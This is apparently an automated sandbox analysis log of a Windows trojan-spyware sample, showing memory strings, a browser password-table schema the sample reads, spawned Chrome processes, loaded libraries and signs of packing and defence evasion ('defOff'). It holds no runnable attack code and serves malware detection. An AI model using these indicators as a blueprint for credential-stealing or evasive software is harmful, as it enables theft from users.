Source: O53VxanH6A.exe, 00000000.00000003.1624164068.000000000594E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1589395722.0000000005E71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1588714404.0000000005E6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1571693181.0000000005D3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1589911680.0000000005E75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1578043480.0000000005EE5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1588200219.0000000005E5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1593066171.0000000005E8F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1580059387.0000000005E20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1582597788.0000000005E36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1591772795.0000000005D39000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1575791733.0000000005EA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1586977225.0000000005E5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1578783811.0000000005E0B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1592710966.0000000005FC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1585332665.0000000005D38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1582992014.0000000005E3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1573421542.0000000005D3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1590295827.0000000005E6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1577301279.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1592888881.0000000005D3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1589068131.0000000005E6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1577561855.0000000005ED0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1586822333.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1587298476.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1578265993.0000000005D41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1624348401.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1579160306.0000000005D36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1579358837.0000000005E13000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1592023163.0000000005E7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1579934222.0000000005D3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1574219708.0000000005D41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1581237897.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1573827147.0000000005DD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1624419787.00000000010EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1575972860.0000000005D45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1588030508.0000000005D38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1579775309.0000000005E1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1576799272.0000000005D3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1577068874.0000000005D38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1582776224.0000000005D37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1624629260.00000000010EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1588893842.0000000005D3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1581942555.0000000005D42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1577703990.0000000005D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1592248139.0000000005D38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1591017563.0000000005D3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1580201174.0000000005D37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1576089648.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1588366939.0000000005F85000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1586511328.0000000005E3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1573536142.0000000005997000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1590466913.0000000005FAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1585511021.0000000005E43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1581452633.0000000005D3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1571591516.0000000005998000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1573184758.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1624296524.0000000001111000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1581796544.0000000005F2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1574764446.0000000005D36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1575360553.0000000005E8E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1587619672.0000000005D41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1589247312.0000000005D3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1578620237.0000000005D38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000002.1699595509.0000000005D45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1586669239.0000000005F49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1582298586.0000000005F35000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1574358394.0000000005DE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1578923430.0000000005EF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1579485691.0000000005EEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1576930234.0000000005E03000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1574503669.0000000005D38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe
Source: O53VxanH6A.exe, 00000000.00000003.1587456692.0000000005F72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs O53VxanH6A.exe

Source: O53VxanH6A.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: O53VxanH6A.exe

Static PE information: Section: ZLIB complexity 0.9995659722222222

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/64@9/5

Source: C:\Users\user\Desktop\O53VxanH6A.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: O53VxanH6A.exe, 00000000.00000003.1383880347.00000000058B8000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1357449296.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, O53VxanH6A.exe, 00000000.00000003.1356990021.00000000058CA000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: O53VxanH6A.exe

ReversingLabs: Detection: 60%

Source: C:\Users\user\Desktop\O53VxanH6A.exe

File read: C:\Users\user\Desktop\O53VxanH6A.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\O53VxanH6A.exe "C:\Users\user\Desktop\O53VxanH6A.exe"
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=O53VxanH6A.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2116 --field-trial-handle=1904,i,11070810031572161436,13522745428096851240,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=O53VxanH6A.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2016 --field-trial-handle=1936,i,14675912434695337880,15358796132646183729,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=O53VxanH6A.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=O53VxanH6A.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2116 --field-trial-handle=1904,i,11070810031572161436,13522745428096851240,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2016 --field-trial-handle=1936,i,14675912434695337880,15358796132646183729,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: O53VxanH6A.exe

Static file information: File size 2902528 > 1048576

Source: O53VxanH6A.exe

Static PE information: Raw size of lbjmjnxy is bigger than: 0x100000 < 0x29ae00

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: O53VxanH6A.exe, 00000000.00000002.1700003469.0000000006102000.00000040.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\O53VxanH6A.exe

Unpacked PE file: 0.2.O53VxanH6A.exe.b10000.0.unpack :EW;.rsrc :W;.idata :W;lbjmjnxy:EW;pixbpiqe:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;lbjmjnxy:EW;pixbpiqe:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: O53VxanH6A.exe

Static PE information: real checksum: 0x2c8dc6 should be: 0x2cbff5

Source: O53VxanH6A.exe	Static PE information: section name:
Source: O53VxanH6A.exe	Static PE information: section name: .rsrc
Source: O53VxanH6A.exe	Static PE information: section name: .idata
Source: O53VxanH6A.exe	Static PE information: section name: lbjmjnxy
Source: O53VxanH6A.exe	Static PE information: section name: pixbpiqe
Source: O53VxanH6A.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_010EBD27 push FFFFFFDBh; iretd	0_3_010EBD38
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_010EBD27 push FFFFFFDBh; iretd	0_3_010EBD38
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_010EC1A5 push esi; retf	0_3_010EC1A8
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_010EC1A5 push esi; retf	0_3_010EC1A8
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_058A099C pushad ; ret	0_3_058A099D
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_058A099C pushad ; ret	0_3_058A099D
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_058A099C pushad ; ret	0_3_058A099D
